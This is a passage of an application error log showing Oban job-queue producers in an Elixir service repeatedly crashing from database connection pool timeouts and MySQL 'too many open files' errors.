    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:05:42.240771Z], limit: 10, uuid: "53e579de-6b9b-49bf-a90d-3fcdef775215", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:42.240777Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.106763>, refresh_timer: #Reference<0.2525715032.1121189889.106753>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:05:54.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:05:42.241164Z], limit: 20, uuid: "53be1fba-771a-4109-bf60-1dd9decfc36d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:42.241170Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.235968>, refresh_timer: #Reference<0.2525715032.1077411843.235961>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:00.600000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:00.990000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:02.267000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:02.540000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:02.992000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:03.459000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:05.699000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:06.228000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:05:54.244023Z], limit: 20, uuid: "830fac61-8e37-4a18-8613-cb005f737020", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:54.244029Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.1704>, refresh_timer: #Reference<0.2525715032.1068236804.252233>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:05:54.242120Z], limit: 3, uuid: "c217454d-e9b3-4cd3-93ce-861b6f1241ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:54.242127Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.1667>, refresh_timer: #Reference<0.2525715032.1099431938.1659>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:06.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:05:54.242675Z], limit: 50, uuid: "ce73310d-4b6a-4234-848a-c9f0b331ebb4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:54.242680Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.236131>, refresh_timer: #Reference<0.2525715032.1077411843.236128>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:05:54.243150Z], limit: 10, uuid: "ae9239b2-f682-4e2d-b6f4-db3939bd4a42", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:54.243156Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.1705>, refresh_timer: #Reference<0.2525715032.1121189889.106982>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:05:54.242743Z], limit: 5, uuid: "2c162a28-1ed8-4618-be36-41c1703548f6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:54.242749Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.236130>, refresh_timer: #Reference<0.2525715032.1077411843.236129>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:06.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:05:54.242130Z], limit: 5, uuid: "db243d2e-6be3-465f-9ba7-226e7b7b5d51", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:05:54.242135Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.1668>, refresh_timer: #Reference<0.2525715032.1077411843.236125>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:08.829000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:15.554000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:17.650000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:06:06.244149Z], limit: 5, uuid: "56049d11-3b88-48aa-8611-fc5d43b79438", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:06.244155Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: 